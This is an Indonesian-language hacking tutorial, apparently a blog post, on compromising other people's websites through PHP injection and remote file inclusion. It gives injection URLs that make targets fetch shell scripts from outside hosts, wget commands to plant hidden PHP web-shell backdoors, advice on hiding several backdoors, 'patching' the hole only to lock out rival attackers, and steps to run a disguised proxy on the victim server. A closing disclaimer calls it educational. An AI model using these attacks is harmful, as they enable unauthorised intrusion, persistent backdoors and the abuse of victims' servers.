PHP Shell Injection ( Injeksi PHP ) itu afaan om?
PHP Injection, memasukan perintah-perintah shell langsung dengan menambahkan perintah PHP pada URL:
http://www.target.com/[path]/page.php?action=exit.passthru($_GET[cok]);exit&cok=wget http://xXx.co.cc/xXx/r00t
Yang bertulisan tebal itu perintah PHP-nya sedangkan yang bertulisan miring adalah perintah shellnya.
PHP Shell Injection-nya :
http://www.target.com/[path]/page.php?action=exit.include($_GET[cok]);exit&cok= [injekan??]
require_once($bcrm_pub_root . “/public_prepend.inc.php”)
PHP Shell Injection-nya :
http://www.target.com/browser_crm/pub/clients.php?bcrm_pub_root=[injekan??]
Setelah anda berhasil mendapatkan target berupa situs yang mempunyai kelemahan terhadap serangan RFI (Remote File Inclusion) dari proses scanning yang dilakukan oleh bot scan kamu sebelumnya, misalnya saja bot scan kamu menampilkan output seperti di bawah ini :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=[evil code]
Lah mana PHP Shell Injector-nya??? Bagi donk!!!
Hare gene gak punya PHP Shell Injector….? hehehe
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=[evil code]
http://geocities.com/gara_013/injek.txt???
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe.txt?
Jangan lupa tanda tanya dibelakangnya harus ditambahkan. Setelah itu paste-kan hasil di atas ke browser lalu jalankan. Kalo browser menampilkan hasil seperti di bawah ini atau mungkin mirip (PHP Injektor memiliki tampilan berbeda-beda), maka selamat buat kamu, kamu telah melakukan yang namanya PHP SHELL INJECTION!
Hanya saja shell seperti di atas sifatnya masih hanya remote dari luar server dan kalau celah keamanannya telah diketahui oleh adminnya dan ditutup, maka kamu nggak bisa lagi mengaksesnya.
Wew, tenang.. tenang… bisa kita akalin biar lebih awet. Segala permasalahan pasti ada pemecahannya. Pada tahap inilah kita harus melakukan apa yang orang Arab bilang PHP SHELL BACKDOORING.
2. PHP SHELL BACKDOORING (Menanam Backdoor PHP)
- Landasan Teori
Backdoor adalah sebuah program ataupun hasil pengkodean yang memungkinkan seseorang dapat mengakses secara remote komputer korban (tempat backdoor ditanam). Bisa disebut juga sebagai ’jalan belakang’ untuk masuk ke komputer korban tanpa harus melalui form login.
Jadi dengan backdoor, kita tidak lagi mengakses shell di target dari luar (PHP Injection) melalui vulnerability lain seperti pada awal tutorial ini. Kita akan dapat mengakses komputer korban sekalipun celah keamanan tadi pun telah ditutup oleh adminnya. Nah, dalam tutor ini backdoor yang kita gunakan adalah PHP Shell backdoor. Backdoor ini adalah PHP Shell Injector itu sendiri (gampang kan?). Kalau bisa biasakanlah memakai backdoor yang berupa PHP Shell sederhana saja, jangan yang berat dan kompleks sejenis C99 dan R57, karena sangat mudah bagi admin target untuk menemukannya. Logikanya begini, kalau orang lain (bukan admin) saja bisa menemukan dengan mudah backdoor C99 atau R57 melalui google, apalagi admin target itu sendiri kan? Dan biasakan juga menanam lebih dari satu backdoor di tempat yang berbeda-beda pada sebuah target, dengan begitu apabila satu backdoor dihapus oleh admin, masih ada backdoor lain yang belum tentu ketahuan.
- Saatnya Beraksi!
find –perm –d /777
Kalau sudah, sekarang tinggal mendownload/transfer file backdoor (PHP Injector tadi) ke dalam target. Caranya seperti biasa menggunakan wget atau lwp-download seperti ini :
wget http://h1.ripway/newbe/kambe.txt kalo gak bisa coba lwp-download
Jika perintah itu sukses, maka lanjutkan dengan mengubah file PHP Shell tersebut, dalam hal ini kambe.txt menjadi file berekstensi PHP dengan perintah ini :
mv kambe.txt.txt .system.php
Kalau semua sudah dilakukan tanpa error seperti langkah-langkah di atas, maka selamat, kamu telah melakukan Backdooring!
Horeee… tapi gimana mengakses backdoor tadi om???
Teewwwww….
Oh iya… caranya adalah dengan mengakses alamat file backdoor tadi lewat browser .
Tapi alamat file backdoornya apa om???
Nah, alamat file backdoor tadi dapat diliat dengan cara :
/var/www/intruder/forum/db
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe.txt?
Sekarang tinggal kamu tes aja mengkases backdoor tersebut dari browser. Kalo hasilnya mengeluarkan tampilan shell seperti atau mirip gambar di bawah ini (masing-masing PHP backdoor berbeda-beda tampilan sama halnya dengan perbedaan PHP Injector), berarti semua berjalan dengan lancar :
PHP Injection sudah. Backdooring sudah (Jangan lupa simpan URL backdoor kamu tadi). Sekarang kamu nggak perlu ngemis-ngemis lagi minta shell dari orang lain kayak tutor yang pertama karena kamu udah bisa memproduksi shell kamu sendiri.
3. PATCHING
- Landasan Teori
Patching adalah suatu kegiatan untuk menutup celah keamanan (Vulnerability) dari sebuah website sehingga tidak bisa dieksploitasi lagi oleh siapa pun melaluinya.
Ada hikmah kebaikan dan keburukan dari proses patching yang akan kamu lakukan ini, yaitu :
2. Keburukan : Kamu egois karena hanya ingin menguasai target sendiri saja. Yang lain jadi pada gak bisa masuk lagi deh lewat tuh celah keamanan. Hehehe…
Mari diambil hikmahnya….. yuuu…
- Saatnya Beraksi!
Patching yang kita lakukan terhadap RFI (Remote File Inclusion) Vulnerability ini akan lebih mudah jika dilakukan dengan PHP Shell Injector sejenis C99 yang mempunyai fitur untuk memanipulasi (editing) source file.
Syarat utama melakukan Patching ini yaitu celah keamanan harus berada pada direktori dengan permission 777 (Kecuali kalau kamu punya akses root, kamu bisa melakukan patching di direktori mana pun)
Ada tiga cara yang mungkin bisa kita lakukan untuk patching sebuah RFI Vulnerability, yaitu :
1. Memodifikasi file yang merupakan bug RFI
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe99.txt?
Nah, di situ akan terlihat perbedaan warna file yang merupakan bug RFI dari target yaitu warna kuning. Atau bisa dilihat dari url PHP Injection di atas tadi. Bug-nya adalah nama file paling belakang dan sebelum tanda tanya, yaitu file usercp_sendpasswd.php. Sekarang anda tinggal klik tulisan edit di ujung yang sebaris dengan file tersebut pada shell c99 (lihat gambar di atas) yang akan menampilkan isi atau source dari file tersebut, seperti ini :
Setelah itu carilah bagian yang serupa dengan tulisan di atas yang bertuliskan include($phpbb_root_path["user"], karena memang bagian ini lah yang bermasalah (bug RFI-nya) sehingga memungkinkan seorang attacker masuk melaluinya (liat lagi URL PHP Injection tadi). Kemudian lanjutkan dengan mengubah tulisan user di atas dengan nama lain misalnya menjadi seperti ini : include($phpbb_root_path["newbee"]. Setelah itu klik save untuk menyimpannya.
Sekarang coba tes melakukan PHP Injection lagi terhadap target seperti pada awal. Hasilnya mungkin akan seperti ini :
Itu berarti celah keamanan tadi telah berhasil dipatch! Pesan error yang muncul tidak mesti selalu sama seperti di atas, dapat juga berbeda-beda tergantung target dan celah keamanannya, bisa saja memunculkan pesan Fatal Error atau lainnya.
2. Ubah nama file tersebut
chmod 777 usercp_sendpasswd.php
mv usercp_sendpasswd.php newbee.php
3. Hapus file tersebut
Coba aja kamu tes lagi melakukan PHP Injection dari awal setelah kamu memakai cara kedua atau cara ketiga. Pasti hasilnya akan seperti atau mirp di bawah ini :
Itu berarti celah keamanan tadi telah ditutup, dan ingat! Jika kamu tidak memiliki akses root, maka kamu HANYA bisa melakukan patching seperti di atas apabila dalam kondisi file bug tersebut berada di direktori 777.
Sector Clear! Patching udah. Lalu gimana donk kita masuk lagi ke shell target kalau PHP Injection gak bisa lagi???
Lah, kan tadi kamu uda pasang backdoor. Masuk aja lewat situ… hehehe.. mulai paham kan algoritmanya? Gampang kan?
Tapi ada cara lain lagi untuk memasuki target tanpa menggunakan backdoor, yaitu dengan menggunakan PHP Shell Injection lagi, namun hanya bisa dilakukan jika kamu menggunakan cara pertama atau kedua saja :
http://intruder.gmork.cz/forum//includes/usercp_sendpasswd.php?phpbb_root_path[newbee]=http://h1.ripway.com/newbe/kambe99.txt?
http://intruder.gmork.cz/forum//includes/newbee.php?phpbb_root_path[user]=http://h1.ripway.com/newbe/kambe99.txt?
Sekarang minum lagi kopi susunya tadi, ntar keburu dingin loh. Nyante aja udah, kamu dah punya backdoor di sebuah website. Lalu ngapain lagi ya? Deface? Kayaknya gak perlu deh, kalau kamu deface tuh website sama aja ibaratnya kamu kirim surat ke rumah orang yang kamu susupi dan mengatakan ”Hey om! Aku dah pasang pintu rahasia di rumah kamu, jadi aku sekarang bebas berkeliaran di rumah kamu sekalipun kamu kunci semua pintu lainnya!!!”. Si admin tuh website yang tahu keberadaan kamu pasti menggunakan berbagai macam cara untuk mendeteksi backdoor yang kamu pasang tadi, ini tentu aja akan menambah peluang dalam memperpendek umur backdoor kamu yang amat sangat berguna itu.
Daripada melakukakan hal-hal seperti di atas, kamu bisa aja memanfaatkan website tersebut untuk hal-hal menarik lainnya, misalnya aja membuat website itu sebagai proxy server pribadi kamu.
4. CREATE PROXY
- Landasan Teori
Bukan kaleee. Proxy itu adalah sebuah aplikasi yang menjadi media perantara antara kamu (sebagai client) dan ISP sebagai penyedia jasa internet. Sehingga IP address yang kamu pakai atau yang terkoneksi dengan website saat berinternet adalah ip address dari server proxy tersebut. Yang kamu perlu konfigurasikan hanyalah mengatur nama server proxy dan port-nya saja pada browser.
- Saatnya Bereaksi! Eh.. Beraksi!
wget http://www.mith.com/db/osr/proxy.tgz
tar -zxvf proxy.tgz
cd /var/www/intruder/forum/db/pro atau bisa kamu lakukan secara manual saja.
Isi dari folder pro tersebut adalah file xh dan prox
./xh -s “/usr/sbin/httpd” –d ./prox -a -d –p1234
Kalau tidak ada pesan error, berarti semua berjalan lancar. Kalau kamu memakai proxy tersebut, tinggal masukan IP dan PORT proxy tersebut ke dalam settingan browser misalnya Mozilla seperti gambar di bawah ini :
IP proxy di atas adalah IP dari website target tadi. Bisa kamu cek di http://who.is
Setelah sudah disetting, baru cek lagi di http://who.is apakah berfungsi atau tidak. Dan lihat IP kamu di sana apakah sudah berubah mengikuti IP proxy tersebut.
Selamat… Proxy kamu aktif. Kalau tidak berhasil bisa saja terjadi karena ISP (Penyedia Layanan Internet) kamu tidak mengizinkan adanya akses yang menggunakan proxy melalui server mereka.
—————————— Potong di sini ————————————-
Selesai juga akhirnya… Piuuwwhh….
Tapi lega juga…ho ho ho
/* Tutorial ini hanya sekedar untuk edukasi dan pengetahuan tentang security khususnya cara melakukan penetration test terhadap website sendiri lalu melakukan patching sederhana dan cepat. Segala kerusakan atau kerugian yang terjadi karena penyalahgunaan tutorial ini adalah bukan tanggung jawab saya. */
{
”Lebih baik mempunyai sedikit ilmu tapi mau berbagi dengan yang lain daripada mempunyai banyak ilmu tapi hanya berdiam diri dan menyimpan untuk diri sendiri saja.”